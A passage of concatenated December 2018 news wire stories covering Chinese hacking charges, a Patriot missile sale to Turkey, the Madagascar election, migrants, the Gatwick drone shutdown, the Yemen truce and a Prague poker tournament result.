According to a court filing, government agencies and corporations targeted included the US Navy and NASA. The Chinese nationals charged have been identified as Zhu Hua and Zhang Jianguo. The US State Department Wednesday said it approved the sale of Patriot missiles worth $3.5 billion to Turkey that has signed up for Russias S-400 missiles following reluctance from the Trump administration to supply it with the military equipment. The Department said it informed the Congress of its decision to implement the sale of 80 Patriot missiles, and 60 PAC-3 missile interceptors and related equipment, to Turkey. The sale will increase Turkeys defense capabilities, the Department said in a statement. The proposed sale will increase the defensive capabilities of Turkeys military to guard against hostile aggression and shield NATO allies who might train and operate within Turkeys borders, the statement said. The decision came hard on the heel of US President Donald Trump announcement he was withdrawing American forces from Syria, following a telephone conversation with his Turkish counterpart Recep Tayyip Erdogan. It is unclear whether both decisions are interlinked. Turkey since 2015 has placed orders for the system but Washington overlooked the demand. Given the continuous US disregard, Ankara and Moscow in 2017 signed a contract for Turkeys acquisition of S-400 with the installation planned for October 2019. The sale of the US military hardware hangs on the decision of the Senate. The House had previously delayed delivery to Turkey of US-made F-35 fighter jets over Ankaras intention to buy the Russian weaponry. Two astronauts and a cosmonaut landed in Kazakhstan on December 20, on their return to Earth from the International Space Station, where they had been on duty since July. The group, made up of an American, a German and a Russian, landed about 140 km southeast of the city of Dzhezkazgan, where they were met by a Russian rescue team. Credit: Roscomos via Storyful Both candidates in Madagascar's presidential election have claimed victory in the fierce battle for power in the Indian Ocean island. Andry Rajoelina and Marc Ravalomanana -- who have each held the top job in the impoverished country before -- declared themselves winners in the run-off which analysts warned was likely to draw claims of fraud. "Change is coming tomorrow, and today you can say that 'Papa' is elected," Ravalomanana told supporters on Wednesday night at his headquarters, using his nickname. "Whatever happens, only one thing counts, we will win." However, his rival Rajoelina said: "I am sure I'm going to win but we'll wait for the official results." The contenders, who came a close first and second in November's first-round election, were both banned from running in the 2013 ballot as part of an agreement to end recurring crises that have rocked Madagascar since independence from France in 1960. In the first round, Rajoelina won 39 percent compared with 35 percent for Ravalomanana. Both camps alleged they were victims of fraud and cheating. The polls closed on Wednesday evening. The election count could be tense with the first significant results due only by next week. The EU observer mission, which said turnout was around 50 percent, called for candidates and their supporters to wait patiently for the official results. "It is not by mobilising in the street that they will win, so I ask them resolutely that they refrain from any gesture that could taint the smooth running of the election," mission chief Cristian Preda said Wednesday. Bitter history Ravalomanana, 69, was first elected president in 2002 but was forced to resign seven years later by violent demonstrations supported by Rajoelina, the then mayor of the capital Antananarivo. Rajoelina, 44, was installed by the army and ruled until 2014. The two contenders criss-crossed the country via helicopter to secure votes. Story continues Both candidates have spent lavishly, with promises and handouts distributed liberally to voters, who are among the poorest in Africa. With the personalities of the two men dominating the election, issues such as poverty, corruption and lack of basic services and infrastructure have been largely pushed to the side. Some analysts warn a fractious election fallout could damage the chances of future development. "The results could be very tight and, in this context, even small irregularities could lead one or the other candidate to contest them," said Marcus Schneider, an analyst at the Bonn-based Friedrich Ebert Foundation. High stakes Former education minister Paul Rabary, a fringe candidate who was eliminated in the first round, said the stakes were high: "For Marc Ravalomanana, his business network cannot survive if he does not take power. For Rajoelina, his personal history is sullied by the (2009) coup, so he must win to rescue his honour." Ravalomanana is a former milkman from a peasant family who went on to build a business empire, while Rajoelina is a former party planner and successful entrepreneur with slick communication skills. Outgoing president Hery Rajaonarimampianina was eliminated in the first round after collecting less than nine percent of the vote. His attempts to change the electoral laws this year backfired, sparking nearly three months of sometimes violent protests in Antananarivo. The demonstrators forced Rajaonarimampianina to accept a "consensus" government tasked with organising the election. Madagascar is well known for its vanilla and precious redwood, yet is one of the world's poorest nations, according to World Bank data, with 76 percent of people living in extreme poverty. The island, which is also famed for its unique wildlife, is dependent on foreign aid and burdened by a long history of coups and unrest. "My choice is already made, but I keep it to myself," 45-year-old housewife Monique Norosoa told AFP as she voted in the capital. (AFP) BRUSSELS (Reuters) - The European Union is close to striking air traffic agreements with Qatar and a group of countries in southeast Asia, two people familiar with the matter told Reuters. Negotiations on the two deals are "on the home stretch" and could come into effect in 2019, the people said. As part of the deals, Qatar and the Association of Southeast Asian Nations (ASEAN) would agree to ensure their airlines conform to environmental, worker safety and competition standards, and would in exchange be guaranteed that they would be given the same rights as their competitors. ASEAN includes Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Thailand, the Philippines, Singapore and Vietnam. EU member states gave the green light in 2016 for the European Commission to pursue air traffic agreements with the United Arab Emirates, Qatar, Turkey and the ASEAN countries to try to support its airlines. Flying rights are typically granted on a bilateral basis between governments. Some EU airlines, notably Air France-KLM and Lufthansa, have long complained about what they see as unfair competition from foreign carriers such as those in the Gulf region - Emirates, Etihad and Qatar Airways - which they accuse of receiving illegal state subsidies. The three airlines strongly deny such claims. The agreements being discussed would rule out unfair subsidies for airlines, the sources said. They said some points of the air traffic agreements still remained to be worked out and added that the content of the contracts could still change. (Reporting by Peter Maushagen; Writing by Maria Sheahan; Editing by Michelle Martin) French police have won a salary boost from the government after Wednesday's go-slow to denounce being overworked, under-appreciated and underpaid. After six hours of negotiations with unions, the French Interior Ministry announced late Wednesday that it had agreed to boost police pay. This agreement () paves the way for an improvement and a modernisation of work conditions and police officers incomes, interior minister Christophe Castaner said in a statement. From January, police officers will see their salaries go up by 40 euros, and then up to 120 euros per month, and even 150 euros for the most senior officers by the end of 2019, according to the Unite-SGP Police union. "It is a big step forward," Yves Lefebvre, the union's secretary general said following meetings with the interior minister. The concessions come after several police unions urged officers to walk out and handle only emergencies on Wednesday. France's national police have long complained about being overworked, under-appreciated and underpaid. Increasing demands Demands on the police service have increased since the Yellow Vest protests began five weeks ago, and following a deadly attack last week near the Strasbourg Christmas market that killed five people. The government will also begin negotiations on the huge backlog of overtime pay, with unions saying they are owed a collective 275 million euros, but details have yet to be worked out. Despite the concessions, some police are still calling for a protest Thursday near the Champs-Elysees, a flashpoint of recent rioting. Earlier in the week, authorities had proposed a 300-euro bonus for the 111,000 police and army officers deployed during the Yellow Vest protests, at an estimated cost of 33.3 million euros. However, with the recent pay hikes, the government now says the bonus will be reserved only for administrative employees and technicians. By Gustavo Palencia TEGUCIGALPA (Reuters) - A Honduran migrant who had recently been deported from the United States was shot and killed a few blocks from his home, his family said on Wednesday, in another sign of the dangers faced by migrants fleeing Central American gangs. Nelson Espinal, 28, was shot 15 times on Tuesday night shortly after leaving his home in the capital Tegucigalpa, said his sister, Patricia Espinal. The neighbourhood is dominated by the Barrio 18 gang, one of the country's most dangerous. Espinal was deported from the United States in late November and barred from returning for five years, according to documents from the U.S. Department of Homeland Security. Nevertheless, Espinal, who worked in construction, planned to make another attempt to enter the country in January, his sister said. "He said that if he did not leave, they were going to kill him," Patricia Espinal said as her mother, Sara Matamoros, wept. "That's why he left following the caravan." Espinal was detained after crossing the border illegally in Arizona, according to U.S. Customs and Border Protection. He did not appear to be part of the migrant caravans trekking from Central America to the United States and did not seek asylum, the agency said. On Wednesday, a U.S. federal judge struck down Trump administration policies aimed at restricting asylum claims by people citing gang or domestic violence in their home countries. In Mexico, authorities are investigating the deaths of two migrant teenagers from Honduras who were killed in the border city of Tijuana last weekend. The youths, believed to be about 16 or 17 years old, showed signs of having been stabbed and strangled. It could not be determined immediately if the victims had planned to apply for asylum. Mexican President Andres Manuel Lopez Obrador told reporters on Wednesday his government would seek "fair treatment" for migrants. More than 2,000 mainly Honduran immigrants who travelled with the caravan remain in a shelter in Tijuana, Lopez Obrador said. U.S. President Donald Trump has insisted that they will not be allowed into the United States, but a few asylum seekers have already crossed the border. The killings could fuel criticism of a policy proposal that Mexico and the United States discussed earlier this year to have Central American migrants wait in Mexico while their asylum claims are processed. (Reporting by Gustavo Palencia in Tegucigalpa; additional reporting by Frank Jack Daniel in Mexico City and Kristina Cooke in San Francisco; writing by Julia Love; Editing by Steve Orlofsky and Tom Brown) By Graham Fahy DUBLIN (Reuters) - Irish Prime Minister Leo Varadkar said on Thursday that "difficulties" around a hard border with Northern Ireland would arise only if Britain left the European Union without a withdrawal agreement and subsequently changed its laws. Speaking to reporters in Dublin, Varadkar said that problems would only arise if the UK "crashes out of the European Union at the end of March and then decided in some way to change their customs and regulations." "It's all very well for people to say that nobody wants a hard border - nobody wants it in Dublin, nobody wants it in Belfast, nobody wants it in Brussels or London - but if you don't have alignment on customs and regulations you get into real difficulties," he said. (Reporting by Graham Fahy; Editing by Raissa Kasolowsky) Abortion has officially become legal in the Republic of Ireland after president Michael D Higgins signed new legislation into law. Terminations will be available across from the state from January 2019. A bill to legalise abortions in Ireland passed through all its parliamentary stages earlier this month. Michael D Higgins has now signed the legislation (Niall Carson/PA) President Higgins signed the Health (Regulation of Termination of Pregnancy) Bill 2018 on Thursday and it has accordingly become law. The new laws will allow for unrestricted access to abortion up to 12 weeks of pregnancy, subject to a cooling-off period and a requirement for medical consultation. After 12 weeks, abortions will be permitted in exceptional circumstances. The legislation will give effect to the result of a referendum in May. The poll delivered landslide support for the repeal of a section of the states constitution the Eight Amendment that provided the legal basis for the countrys near blanket ban on abortion. Last month Health Minister Simon Harris welcomed the passage of the bill through the houses of the Oireachtas parliament as a genuinely historic moment. By Yeganeh Torbati and Anthony Esposito WASHINGTON/MEXICO CITY (Reuters) - The United States will soon send non-Mexican migrants who cross the U.S. southern border back to wait in Mexico while their U.S. asylum requests are processed, a major change in immigration policy, the Trump administration announced on Thursday. Immigrant advocates and human rights experts quickly denounced the policy change as illegal and violating the rights of refugees. Mexico's government said that it would accept some of those migrants for humanitarian reasons, in what many will see as an early concession to U.S. President Donald Trump's administration by Mexico's new president, Andres Manuel Lopez Obrador, who took office on Dec. 1. "We want to discourage those who are claiming asylum fraudulently," U.S. Homeland Security Secretary Kirstjen Nielsen told a congressional committee on Thursday, describing the plan. In response to the plan, Mexico's foreign ministry underscored that it still has the right to admit or reject the entry of foreigners into its territory. "Mexico's government has decided to take the following actions to benefit migrants, in particular unaccompanied and accompanied minors, and to protect the rights of those who want to start an asylum process in the United States," the foreign ministry said. But there appeared to be initial confusion within the Mexican government about the plan. Tonatiuh Guillen, who as head of Mexico's National Migration Institute regulates migration in the country, said at a news conference on Thursday that the country would not be able to receive migrants from other countries until the regulatory framework had been established. We can't begin to operate, we can't begin to receive. We are not in a place to receive," he said. "When will we able to do it? When the regulatory issues and operational issues are resolved," he said. Department of Homeland Security officials told reporters on condition of anonymity that the Mexican government has said asylum seekers would have access to attorneys in Mexico and that migrants would be able to enter the United States for their court hearings, without giving more details about how the process would work. Story continues "Operationally this will look a little bit different at different ports of entry simply based on what the infrastructure is like in the area," said one official. "We are not implementing this on the entire U.S. border all at once." Nielsen said the new policy will not apply to Central American unaccompanied children, who have some special protections under U.S. law. The administration is invoking a section of the Immigration and Nationality Act allowing the government to return migrants to a foreign country bordering the United States pending their immigration proceedings. "We remain convinced that this is a power that the president was granted by Congress to execute exactly the way we have," U.S. Secretary of State Mike Pompeo said in an interview with Fox News show host Laura Ingraham. "We've had lots of thought and legal review of this. We are confident that we are on firm ground." But the section of law being used by the Trump administration exempts anyone who is found inadmissible at the border because of a lack of documents, rather than for a criminal conviction, said Stephen Legomsky, a professor at the Washington University School of Law in St. Louis and a former senior DHS official during the Obama administration. "That means the exemption to that section would apply to virtually every asylum seeker at the border," he said. 'NOT A SAFE COUNTRY' Serious doubts remain over whether Mexico can keep vulnerable asylum seekers safe. Authorities are investigating the deaths of two Honduran teenagers kidnapped and killed in the border city of Tijuana last weekend. Immigrant and human rights advocates swiftly denounced the new policy, saying it violated international law and would put migrants at further risk. "Make no mistake Mexico is not a safe country for all people seeking protection," said Amnesty International Executive Director Margaret Huang. "Many people seeking asylum in the United States face discrimination, exploitation, sexual assault, murder, or the possibility of being disappeared while travelling through Mexico or while forced to wait for extraordinarily long times in Mexican border towns." Trump tweeted on Nov. 24 that migrants at the U.S.-Mexico border would stay in Mexico until their asylum claims were individually approved in U.S. courts. But Kennji Kizuka of the nonprofit group Human Rights First said serious questions remain about implementation of the plan. "The administration seems to have no plan," Kizuka said in a statement. "Will lawyers be able to visit their clients before hearings? Where will those hearings take place? We know that access to counsel is one of the most important factors in whether or not an asylum seeker is able to live in safety in the United States." The arrival of several thousand Central Americans in Tijuana about a month ago prompted Trump to mobilise the U.S. military to beef up border security. At the same time, the Trump administration has restricted the number of asylum applications accepted per day, saying they do not have the capacity to process more. Illegal crossings at the southern border have dropped dramatically since the late 1970s, but in recent years applications for asylum have ballooned and more Central American families and unaccompanied children are migrating to the United States. (Reporting by Anthony Esposito and Yeganeh Torbati, additional reporting by Julia Love, Mica Rosenberg and Kristina Cooke; Editing by Christine Murray and Jonathan Oatis) MOSCOW (Reuters) - Russia's Emergencies Ministry said that, according to preliminary information, there was no damage to Kamchatka peninsula following Thursday's powerful quake, RIA news agency reported. An earthquake with a magnitude of 7.4 struck off Russia's far east, the United States Geological Survey (USGS) said. (Reporting by Vladimir Soldatkin; Editing by Andrew Heavens) Around 10,000 people have been affected after the airport was closed on Wednesday night due to drones flying over the runway. Passengers stranded by the chaos at Gatwick Airport have told of families running out of food and trying to sleep in freezing terminals and crowded planes as they try to travel home for Christmas. Andri Kyprianou, from Cyprus, said she saw a pregnant woman sleeping on the floor and passengers with infants spending the night in the freezing South Terminal. She said she got to the airport at 12.30am for a 3am flight to Cyprus via Kiev, only to find it had been cancelled and the next connection in Kiev is on Sunday. She said: I havent slept since yesterday morning, we are very tired. Its freezing, we are cold, having to wear all of these coats for extra blankets. There were pregnant women, one of them was sleeping on the floor. There were people with small babies in here overnight, we saw disabled people on chairs. There were young children sleeping on the floor. She said she will have to spend a night in Kiev, but she had been told by Ukraine International Airlines that there may be a chance of an alternative connection through Tel Aviv. Hopefully they will arrange a hotel for us so we dont have another night in an airport, she added. Still waiting for my flight to depart from @Gatwick_Airport waiting for security checks on runway due to drone reports pic.twitter.com/OB3K3eJJnq John Belo (@johnbelo) December 19, 2018 Chris Lister, from Somerset, who owns an online business, was travelling back from Kiev with his wife Freya. He was due to land at Gatwick at 9.45pm on Wednesday but ended up trapped on the plane on the tarmac at Birmingham Airport until 6am. There were quite a few babies and kids on board, I think they were struggling more than we were and one woman had run out of milk, he said. Story continues Flight from Kiev to #Gatwick was due to land last night at 21.45. We landed in Birmingham airport. Now almost 4am, still on the plane, no food or updates from our crew. Not allowed to disembark. Bodies sleeping on every seat and across the floors. #GatwickAirport pic.twitter.com/nBrPquEGFM Christopher Lister (@Listy_cl) December 20, 2018 After starting his journey in Bangkok on Tuesday he was finally let off the plane at 6am, he said. A Gatwick spokesman said 110,000 passengers were due to either take off or land at the airport on 760 flights on Thursday. He was unable to say how many had already been affected but the first wave of flights is normally the busiest time of the day. Around 10,000 passengers were affected on Wednesday night after the runway was closed at 9.03pm. Passengers are advised not to travel to the airport if their flight is cancelled. Joseph Ouechen, a photographer from Morocco, was due to fly into Gatwick on Wednesday night but had his flight diverted to Paris. After arriving at Charles de Gaulle Airport at midnight, passengers with visas for the Schengen area were taken to a hotel but those without about 20% were left in the airport to fend for themselves, he said. This is France, we are blocked here its 3:30 with babies, France dont want as to cross the borders cause of a situation that se didnt choice. A problem in Gatwick caused by a flying drone. All the UK airports are closed, they decided to land in Paris for the night. #gatwick pic.twitter.com/naZPlyz8G7 Joseph OUECHEN (@josephouechen) December 20, 2018 There were families with babies who couldnt get to their suitcases for their milk and stuff, he said. We were asking just for a favour if (airport staff) could help but they said they couldnt do anything. Firefighters eventually crossed the border through passport control with blankets and water at 3.30am, he said. To be honest, Im so tired and when the guys from the fire (service) came with the bottles and blankets I was feeling like a war, like (I was) a refugee, but Im just flying to the UK. Its surreal. I was flying to the UK and now there are firemen bringing me water and blankets. Mamosta Abdulla said he was on an Iraq-bound flight on Wednesday evening before getting stuck on the tarmac for four hours. He will miss his fathers memorial service, he said. We got here at 6pm and should have flown at 9.10pm, but we were stuck four hours on the plane with a crying baby, the child was disabled and everyone was sweating because it was so hot in there, he said. Passengers were given a 12 voucher for food, he added, but were left to sleep in a freezing place on uncomfortable chairs. We are in Iraq with bombs going off nearby and the plane still lands. But here some drones have shut down the airport. Former bank worker Lexie Heath had to be given a wheelchair after the stress of having her flight cancelled exacerbated her heart problem. The 73-year-old, who lives in London and was scheduled to fly to Glasgow to be with family for Christmas, said she was not used to travelling alone as her husband died five months ago. She said airport staff had been fantastic in looking after her and that she had been stuck on a stationary plane from 7am for about four hours this morning. She said: I have a heart problem and when I get stressed it races too fast and sometimes skips a beat. I can get a pain down my arm as well, like pins and needles. This stress has really set me off, very much so. My legs just go. Im not that used to travelling alone, it used to be with my husband. Im going back up to spend Christmas with my family. My brother died three weeks ago and now Ill have the extra stress of trying to organise parts of his funeral. I could have really done without this. A replacement flight from Gatwick on Friday morning has been organised for her, she added. As the disruption continues into its second night, passengers are anticipating spending the night in the terminal after hotels in the area become fully booked. Carl and Lisa McCluskey, from Lincolnshire, found out from an air stewardess on Thursday that their flight to Egypt was delayed until further notice. They have been told to check in with their airline Thomas Cook at 6am on Friday morning. They said making the three-hour journey home would be pointless, as they would have to return a few hours later. Unable to book in to a hotel, they face spending the night in the airport with their two daughters, aged seven and eight, with two suitcases made into makeshift beds. Mr McCluskey, 44, said: Its mindless idiots probably, they know what theyre doing. They would have seen the disruption to come out again this afternoon. The family, travelling with Mrs McCluskeys parents, said their two-week trip cost about 6,500. They were all given a 10 food voucher each from the airline, which they said didnt buy much with airport prices. Efforts to improve agriculture productivity in Southern Africa got a boost following the World Bank Board approval this week of a $50 million project to increase the availability of agricultural technologies in Angola and Lesotho. According to a WB press release, this will be done under the ongoing World Bank financed Agriculture Productivity Program for Southern Africa (APPSA) involving three other countries in the region, Malawi, Mozambique and Zambia. APPSAs focus on agriculture technology addresses the need to improve the competitiveness and resilience of African agriculture using regional integration as a key mechanism to achieve higher rates of growth and poverty reduction. While agricultural productivity has increased in Southern Africa, Angola and Lesothos average yields are below the regional average. This project is expected to help narrow these gaps with additional investment in technology adaptation and dissemination, the WB said. This project will help researchers, farmers, extension agents, input distributors and other end users in Angola and Lesotho to strengthen linkages between themselves and other participating countries, said Mark Cackler, World Bank Agriculture Practice Manager. This is in line with the World Banks twin goal to reduce extreme poverty and promote shared prosperity. Agriculture remains the primary source of subsistence, employment, and income for most of Southern Africas 330 million people. However, despite the regions rich land and water resources, the productivity of the agriculture sector has not been fully exploited, which has undermined economic transformation. The $50 million World Bank financing comes from the International Development Association ($20 million) and the International Bank of Reconstruction and Development ($25 million) while $5 million will come from the Centre for Coordination for Agriculture in Southern Africa (CCARDESA) as a facilitating partner. FILE PHOTO: Somalia's President Mohamed Abdullahi Mohamed attends the 30th Ordinary Session of the Assembly of the Heads of State and the Government of the African Union in Addis Ababa, Ethiopia January 28, 2018. REUTERS/Tiksa Negeri MOGADISHU (Reuters) - Somalia lawmakers have abandoned a move to impeach the president over allegations he secretly signed agreements with other countries after deciding that political stability was more important than their motion, parliament's speaker said on Thursday. A copy of the motion, seen by Reuters on Dec. 9, had listed as grounds for impeachment an allegation that President Mohamed Abdullahi secretly signed agreements with other countries including Ethiopia and Eritrea. The agreements touched on the use of Somali ports and economic and security cooperation, it said. "Considering the current situation of the country and the need to improve political stability so that parliament and the executive can jointly fulfil their duties, the lawmakers said they entirely gave up the impeachment motion they had proposed," speaker Mohamed Mursal Sheikh Abdirahman said in a statement. Constitutionally, 92 lawmakers would have had to support the motion for it to have been be submitted to the speaker. (Reporting by Abdi Sheikh; Writing by George Obulutsa; Editing by Hugh Lawson) Three more suspects have been arrested over the killings of two Scandinavian tourists in Moroccos Atlas Mountains. The development came as the Danish intelligence agency said the killings may be related to Islamic State. The three new suspects were arrested in Marrakech as they tried to flee in a bus, according to national security spokesman Boubker Sabik. He said authorities are investigating whether the three have terrorist affiliations, adding that no other suspects are being sought. The bodies were found near Imlil (2M via AP) Another suspect was arrested on Tuesday, and a Moroccan prosecutor said he had affiliations to an extremist group, without naming it. The killings have shocked Morocco, a popular tourist destination where attacks on foreigners are extremely rare. The womens bodies were found on Monday in the Atlas Mountains, an area prized by hikers. The killings can be considered politically motivated and thus an act of terror, Danish Prime Minister Lars Loekke Rasmussen said. He said there are still dark forces that want to fight our values and we must not give in. Mr Loekke Rasmussen confirmed the victims identities as Louisa Vesterager Jespersen, of Denmark, and Maren Ueland, from Norway. Denmarks Prime Minister Lars Loekke Rasmussen in Copenhagen (Philip Davali/Ritzau via AP) What should have been a holiday trip turned into a nightmare, he told reporters in Denmark. In neighbouring Norway, Prime Minister Erna Solberg said terrorism is not the only lead that is being investigated in Morocco but said the case still emphasises the importance of combating violent extremism. We trust that Moroccan authorities are doing their utmost to arrest those responsible for the murders, she told a scheduled news conference. In a statement, Denmarks domestic security agency said the preliminary investigation indicate, according to Moroccan authorities, that the killings may be related to the terrorist organisation the Islamic State group. Story continues The bodies were found in a remote mountainous region, 10 kilometres (six miles) from the village of Imlil often the starting point for treks to Mount Toubkal, North Africas highest peak. Moroccan media outlets reported that investigators have video surveillance footage showing three suspects putting up a tent near the victims tent and leaving the area after the killings. A forensic team at the scene (2M via AP) The website of state broadcaster 2M published photos that they said were of the three suspects taken on a bus. The Norwegian victims mother, Irene Ueland, told broadcaster NRK that her daughter had taken safety precautions before making the trip. Authorities in Denmark and Norway on Wednesday warned their citizens against hiking without local guides in Morocco after the killings. Danish police officials said they have sent an officer to Morocco to assist in the investigation. Morocco is generally considered safe for tourists but has battled with Islamic extremism for years, and more than a thousand Moroccans are believed to have joined IS. An anti-terrorism rally is planned for Moroccos capital on Saturday. Russian President Vladimir Putin has said relations with the UK are in "deadlock" and he hopes "common sense will prevail". In his annual news conference in Moscow, Mr Putin said he wanted to restore UK-Russia ties "from their current low". "It is in the interests of both countries, both governments to get out of this deadlock. Are we interested in restoring full relations with Britain? Yes, we are interested," he said. Moscow's relationship with London collapsed following the poisoning of former Russian spy Sergei Skripal and his daughter Yulia in Salisbury. UK police say Russian operatives Alexander Mishkin and Anatoliy Chepiga carried out the attack using the nerve agent novichok, which Moscow denies. Mr Putin dismissed Britain's stance as a "politicised, Russophobic approach" and "simply a reason to organise yet another attack on Russia". He added: "If there were no Skripals, they would have come up with something else, that's clear to me. There's only one goal: to constrain Russia's growth as a possible competitor. "It's good that he wasn't killed...Thank God, Skripal is alive." The Skripals both survived but Dawn Sturgess died in July after she and partner Charlie Rowley were exposed to the poison in nearby Amesbury, Wiltshire. In a wide-ranging news conference, Mr Putin also weighed in on the Brexit debate, saying Theresa May "must enact the will of the people, expressed during the referendum". He said: "Otherwise, what kind of democracy is it?" Mr Putin also expressed his alarm at the threat of nuclear war, saying: "If, God forbid, something like that were to happen, it would lead to the end of all civilisation and maybe also the planet." The Russian president said he supported Donald Trump's decision to withdraw US troops from Syria and agreed with his US counterpart that the war against Islamic State has been won. "The US has had a presence in Afghanistan for 17 years, lets say? And almost every year it says that it is withdrawing troops from there. But they are still present there," he said. A Yemeni mother who was at the centre of a year-long legal battle for the right to give her dying son one last kiss has arrived in the United States. Shaima Swileh was greeted by a crowd of well-wishers as she arrived at San Francisco International Airport on Wednesday night. She was on her way to see her two-year-old son Abdullah, who is on life-support at an Oakland hospital. Ms Swileh won a waiver from the Trump administrations travel ban, allowing her to fly to California. Wearing dark glasses and a white headscarf, she was mobbed by well-wishers after arriving in San Francisco. This is a difficult time for our family but we are blessed to be together, the boys father, Ali Hassan, said at the airport. I ask you to respect our privacy as we go to be with our son again. The two then were driven away to see their son at UCSF Benioff Childrens Hospital in Oakland. This will allow us to mourn with dignity, the boys father had said in an earlier statement. Mr Hassan, who is a US citizen and lives in Stockton, brought Abdullah to California in the autumn to get treatment for a genetic brain disorder. My wife is calling me every day wanting to kiss and hold her son for the one last time, Mr Hassan said at a news conference on Monday, a day before the government granted the visa. Ali Hassan speaks after his wife Shaima Swileh arrived at San Francisco International Airport (Jeff Chiu/AP) The couple moved to Egypt after marrying in war-torn Yemen in 2016 and had been trying to get a visa for Ms Swileh since 2017 so the family could move to California. Citizens from Yemen and four other mostly Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban enacted under US president Donald Trump. When the boys health worsened, Mr Hassan went ahead to California in October to get their son help. As the couple fought for a waiver, doctors put Abdullah on life support. I am emailing them, crying, and telling them that my son is dying, Mr Hassan said in an interview with The Sacramento Bee newspaper. Story continues He started losing hope and was considering pulling his son off life support to end his suffering. But then a hospital social worker reached out to the Council on American-Islamic Relations, which sued on Monday, said Basim Elkarra, executive director of the group in Sacramento. State Department spokesman Robert Palladino called it a very sad case, and our thoughts go out to this family at this time, at this trying time. He said he could not comment on the familys situation but that in general cases are handled individually, and US officials try to facilitate legitimate travel to the United States while protecting national security. These are not easy questions, he said. Weve got a lot of foreign service officers deployed all over the world that are making these decisions on a daily basis, and they are trying very hard to do the right thing at all times. In addition to the waiver, the US government gave Ms Swileh a visa that will allow her to remain in the United States with her husband and begin a path toward US citizenship, Mr Elkarra said. By Mohammed Ghobari ADEN (Reuters) - Explosions rocked Yemen's Red Sea city of Hodeidah for a second day on Wednesday despite a U.N.-mediated ceasefire meant to pave the way for peace negotiations to end nearly four-years of war. Residents said six missiles blasts near the 7 July eastern suburb broke the calm, but it was not clear who was responsible. The Iranian-aligned Houthi movement and the Saudi-led government had traded blame for violations on the first day of the truce on Tuesday, when residents reported shelling on the eastern and southern outskirts of the Houthi-held city at night. The United Nations brokered the truce deal as part of confidence-building measures at peace talks last week in Sweden to avert a full-scale assault on the port that is vital for urgent aid supplies for millions facing starvation. A source in the Saudi-led coalition arrayed against the Houthis told Reuters that if international monitors were not deployed in Hodeidah soon, the deal could falter. "If the U.N. takes too long to get into (the) theatre, they will lose the opportunity altogether and the Stockholm agreement will be a dead duck," said the coalition source, who declined to be named. A U.N.-chaired committee formed to oversee the truce and troop withdrawal from Hodeidah city and three ports held its first meeting on Wednesday using video link and phone with representatives from both sides. Retired Dutch General Patrick Cammaert, chair of the Redeployment Coordination Committee, will travel to Jordan on Thursday, then on to Sanaa and Hodeidah, with a small initial advance team, U.N. spokesman Stephane Dujarric said. The ceasefire deal, which covers only Hodeidah, will see international monitors deployed in the city and port with all armed forces pulling out within 21 days of the truce. The two sides had also agreed a prisoner swap. A Red Cross official said in Geneva on Wednesday they had exchanged lists of a total of 16,000 people believed to be detained. Story continues HODEIDAH A LIFELINE Hodeidah, the main port used to feed Yemens 30 million people, has been the focus of fighting this year, raising fears abroad that a full-scale assault could cut off supplies to nearly 16 million people suffering from severe hunger. The truce, the first significant breakthrough in peace efforts in five years, is meant to pave the way for a wider ceasefire in the impoverished country and a second round of talks in January on a framework for political negotiations. A Sunni Muslim Arab alliance led by Saudi Arabia and the United Arab Emirates entered the war in 2015 against the Houthis to restore the internationally recognised government of Abd-Rabbu Mansour Hadi, which was ousted from the capital Sanaa. Western nations, which supply arms and intelligence to the alliance, are calling for an to the conflict which has killed tens of thousands of people and is widely seen as a proxy war between Saudi Arabia and Iran. The Security Council is considering a resolution to ask the U.N. chief to submit proposals by the end of the month on how to monitor the truce and forces redeployment. The Houthis control most urban centres, including Sanaa, while Hadi's government is based in the southern port of Aden. Yemen descended into war after pro-democracy unrest forced late former president Ali Abdullah Saleh to step down. Hadi was elected to a two-year term to head a transitional government but the Houthis drove him into Saudi exile. The Houthis deny getting any help from Iran and say they are waging a revolution against corruption. (Additional reporting by Ghaida Ghantous in Dubai, Stephanie Nebehay in Geneva and Michelle Nichols in New York; Writing by Ghaida Ghantous; Editing by Mark Heinrich) Henrik Hecklen Wins PokerStars EPT Prague 10,300 High Roller for 503,700 December 20 2018 Will Shillibier After almost three hours of heads-up play, Henrik Hecklen defeated Ole Schemion heads-up to win the PokerStars European Poker Tour Prague 10,300 High Roller for 503,700. Fresh from a 23rd place finish in the EPT Prague Main Event, famed online player Hecklen navigated his way to the top of the 259 player field to walk away with the biggest live cash of his career. The heads-up can only be described as an arm wrestle, with neither player managing to strike a decisive blow for quite some time. That was until shortly before midnight when Hecklen's queens held to send runner-up Ole Schemion to the rail for a 334,900 payday. Here are the final results: PokerStars European Poker Tour Prague 10,300 High Roller Final Table Payout Position Player Country Payout in Payout in $ 1 Henrik Hecklen Denmark 503,700 $569,181 2 Ole Schemion Germany 334,900 $378,437 3 Alexandre Reard France 244,950 $276,794 4 Danny Tang Hong Kong 197,720 $223,424 5 Daniel Dvoress Canada 155,010 $175,161 6 Tomas Paiva Portugal 117,340 $132,594 7 Jasper Meijer van Putten Netherlands 86,170 $97,372 8 Michael Addamo Australia 63,310 $71,540 * prize in $ via XE.com "You shouldn't look at two tournaments in correlation with each other," Hecklen told PokerNews after clinching victory, "But now that the Main Event didn't really work out it's nice to have this sort of consolation prize, and it's a good one obviously." "My background is in deepstacked cash games and heads-up, I think the structure was very favourable for me." The final day started with a packed field, featuring the defending champion from PSC Prague in 2017 Danny Tang, winner of the EPT Barcelona festival-ending 10,300 High Roller Max Silver and former EPT Prague champion and overnight chip leader Jasper Meijer van Putten. "You always have your chances, right? You don't plan for anything in tournament poker." There was no real clinching moment heads-up, and with both players deep they were able to take their time at the table. "It was quite tough because there weren't that many showdowns so it was kinda hard to figure out what [Schemion] was doing but overall I think he played really well. It was a tough one. "My background is in deepstacked cash games and heads-up, I think the structure was very favourable for me. It was certainly better than 20 big blind shoving poker. It suits me very well for sure. Hecklen Clinches Victory over Schemion PokerStars European Poker Tour Prague 10,300 High Roller Final Day Recap The day started with the eliminations of Serdar Dermican and Charlie Carrel who brought the field down to the final two tables. Jasper Meijer van Putten still lead, but Daniel Dvoress was making up ground, especially with the elimination of Hon Cheong Lee. Van Putten's stack would dwindle, but he would soon move back to the top of the chip counts with the elimination of Bahram Chobineh, but back came Dvoress who lead at the first break. Jasper Meijer van Putten Triple Crown winner Niall Farrell would bust in 11th, with Max Silver out in tenth to bring it to the final table. Just before that, Frenchman Alexandre Reard would double through Van Putten whose turbulent day continued, and it was Reard occupying second place behind Dvoress at the start of 